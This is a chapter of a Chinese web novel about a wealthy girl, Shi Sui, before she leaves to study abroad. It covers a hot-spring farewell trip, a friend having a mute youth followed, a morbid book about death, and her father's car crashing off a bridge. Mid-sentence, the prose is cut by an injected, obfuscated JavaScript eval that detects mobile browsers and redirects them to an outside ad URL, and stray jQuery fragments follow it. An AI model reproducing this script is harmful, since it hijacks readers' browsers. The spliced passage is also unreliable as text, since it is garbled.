14. 时间

作品:《高考毕业后和楼下哑巴

    知道了时穗出国航班日期,赵既安,林露露几人声张要为时穗办饯别宴,他们这几个人的学校有的在国内,有的在澳洲,还有人去了离中国最远的地方,阿根廷。开学时间都比时穗的晚。时间有限,不能去太远的地方,江湾又都玩了个遍,他们最终将目光放在隔壁城市成州。成州的温泉在国内是出了名的好,加料足,味道浓郁。


    汤水咕噜咕噜地浮上温热的表面,雾气缭绕,时穗趴在周边的厚石板上,偶尔有远山树木间的鸟叫声传来。林露露转了个身,靠在边上,闲散道,“黎近和你申的好像是同一个学校,她这个月早早就动身去了国外。”


    想象到两个人在异国他乡碰面的场景,林露露就替她们感到尴尬。


    没想身旁的人不以为意地嗯了一声,“我知道啊。”


    林露露想想也是,两人都多少年交情了,怎么会因为一个男的受到影响。她闭目养息,不一会儿,水波声晃响,是他们回来了,姜小度下了池,自然地朝时穗走来。两人说笑声间歇传来,林露露皱眉思索,时穗和姜小度的关系什么时候变这么好了?


    刚开始他们就没打算邀请姜小度,说话慢慢吞吞,人怯弱小胆,来了也玩不开。邀请她来,是时穗的提议。


    “没想到这种鸟不拉屎的地方,会有这么多游客,上个厕所排起长龙大队,我差点就要在林里随便找个地方解决,还好我最后把持住。‘真正的教养,于细节处见真章’,大概说的就是我这样吧。”赵既安也凑近了,林露露扫了他一眼,也回一句“越缺少什么,就越强调什么。大概说的就是你这样吧。”


    赵既安哑口无言,只好语气干涩地转移话题,“你们刚刚在聊什么?”


    “没什么。”紧接着林露露话音一转,“不过我刚刚想起林筠。”


    时穗抬起眼,看向她。


    旁边知情的一女生问,“你上周不是让人去跟踪他一段时间吗?”


    “是啊,我现在不仅知道他家地址,打工的地方,还有他姐姐的情况,以及在哪间医院治疗。”林露露认为自己做了准备,将林筠调查得清清楚楚,他不是缺钱吗,那她就给他钱。这种机会可不是每天都有,他不知好歹。


    “又不是什么好东西,他不领情就算了呗,难不成还要我上赶着贴他?”男人多了去了。林露露看得很开,可同时又觉得诧异,“他都过成这样了,没理由拒绝我啊。”


    “别再聊他了,真没意思。”赵既安不明白一个和他们毫无关系的哑巴有什么好聊的,这难道比他们今晚的晚餐还值得谈论?他看向时穗似乎是在寻求共鸣,“时穗,你觉得呢?”


    她转了转果汁的吸管,“聊点别的吧。”


    *


    在成州过了一晚,次日早晨,时穗就坐上回江湾纱町的车。纱町的豪宅区位于江湾东南部,背山面海,地理条件极佳。时穗搬回时家已有两周。


    她出门的次数比以往都少了很多,每天都在书房,房间,琴房,后院四处待一会儿,还跟着钟姨在厨房里精进自己的烘培手艺。如果时安抱着玩具敲她房间的门,她还会和他一起坐下来搭积木,拼乐高。


    午后的房间光线柔和而昏黄,时安在她的帮助下,成功拼完一辆难度较高的乐高布加迪,他高兴地给自己拍掌。时穗坐在身边,脸上温情嫣然笑着。


    “姐姐,我下次还能不能来找你玩?妈妈和姨姨拼乐高都很慢很慢。”时安稚声稚气,这种年龄段的小孩对较年长的亲人都有着自然的亲近,更何况还是很少接触,神秘十足的漂亮姐姐。他眼含期待地看向时穗,闻言,她撑着地板微微倾过身,缓慢伸出手。


    最终捏了捏他柔软饱满的脸颊,她笑盈盈道,“好呀。”


    钟姨这时正好端着曲奇和牛奶进来,听见两人的对话,笑着说,“姐姐下周就要出国了,安安要珍惜暑假和姐姐最后这点时间。”


    时安一脸不愿地扑在时穗怀里,抱着她喊叫着不行。钟姨见他耍赖撒泼,无奈道,“要是被太太看见你这幅模样,会责罚你的。”


    “妈妈每次都说要罚我,可最后不也没把我怎么样?”他朝钟姨做起鬼脸。


    钟姨站在可喜的姐弟俩旁边,不一会,她站起身,钟姨看懂时穗眼里的指示,牵起时安的手,“姐姐要学习了,我们不能在继续打扰她。出去跟姨姨出去玩。”


    时安不情不愿跟着她离开。


    书房摆放着时穗从小到大看过的,没看过的书,满满当当挤满每一个书柜。时穗抬手,在书架上随手挑了本,她不爱阅读,这只是她日常硬性规定的其中一项。


    不过她对今天随手抽的这本产生一点兴趣,这本探讨死亡与记述两百名经历者的濒死体验。


    前半部份是一大堆索然无味的道理,对死亡的浪漫性概括,灵魂的去处,让读者珍惜当下的鸡汤,到了后面,是对经历者濒死表情的细致描写。惊恐圆睁的双眼,变形扭曲的脸部肌肉,极端痛楚下身体的颤抖,有些片段甚至会让她兴奋。


    书上有这么一段——


    时间这个概念是囚禁人类的牢笼,生老病死,花开花落,宇宙运转都在时间的控制下,只有身死,才能脱离时间,离开这副躯壳,离开稠密的物质世界,才能回到真正的家。那送人去死,就是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107863|163971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    送他回家咯。时穗掩唇,轻笑出声。


    死后的世界很可怕吗?她不觉得。应该不会比现在这个世界更无趣吧?如果存在轮回转世,她上辈子会是什么,作恶多端的屠夫还是嗜血凶残的野兽?那林筠呢?搞不好他上辈子真是一条狗。


    光影随书页翻飞之间,她轻轻眨眼,唇角弯起。


    *


    与此同时,钟姨单臂托起时安,来到后院,时安荡了会秋千,趁钟姨看手机消息,跳了下来,拔腿跑去后院别的地方。


    他迈着肥嘟嘟的小腿,要去找姐姐阳台能看见的位置。自己一个人一点也不好玩,现在姐姐都回家了,他要叫姐姐下来陪他玩。


    时安慢慢停下脚步,他看到一个废弃破败的车库,门口四周杂草丛生,大门敞开,里面的空间仅能装下一辆车。他走进去,在里面还看见了作业本,铅笔,发霉的面包。像是有人在这里生活过。


    “你这孩子怎么老爱瞎跑。”钟姨气喘吁吁赶到,拉着他小手快速离开那,时安一脸好奇,问那是哪里。


    钟姨嘴唇张了张,最终一言未发。


    她大半辈子都在时家工作,自然清楚早期的时家内部。


    可能是上了年纪,相比时穗,时父时母对小儿子仁慈多了,总能给宽恕改正的机会,换在以前,如若没让他们满意,轻则戒尺拍手心,重则关车库禁吃喝。


    她在心底无声为小姐叹口气,好在这都过去了,小姐已经长大,听话又懂事。这里再也用不上了。


    下午两点半。


    坐在集团高楼办公室的时父收到了一个薄薄的无名快递袋,上面没有送出人的地址和联系方式。他进来时,这个快递就在他桌上了。里面装着一张照片。


    两人站在江面的桥上,夕阳西下,男生俯着身像在认真倾听,女生踮着脚尖轻啄他的脸颊,琥珀瞳色被笑意浸染得格外明亮。镜头以侧方的视角进行拍摄,他认出了其中一张侧脸。一股极浅极淡的幽香溢入鼻腔,他沉郁愤然的面孔像在水里憋了很久,异常涨红,呼吸变得急促。


    时父边打电话边推开办公室的大门。


    一辆黑色轿车从地下停车场迅速窜了出来,驶向跨江大桥。


    那辆黑车速度越来越快,忽然,在某一刻打滑,冲破护栏直坠南江。


    不多时,周围响起警车的鸣笛声。


    “8月22日下午15时20分左右,一辆小轿车从江湾跨江大桥冲破护栏落入南江。这是今年跨江大桥发生的第一起汽车撞破桥梁护栏事件,据了解,当地公安,交警等部门在热心市民报警后十分钟左右便赶到现场……”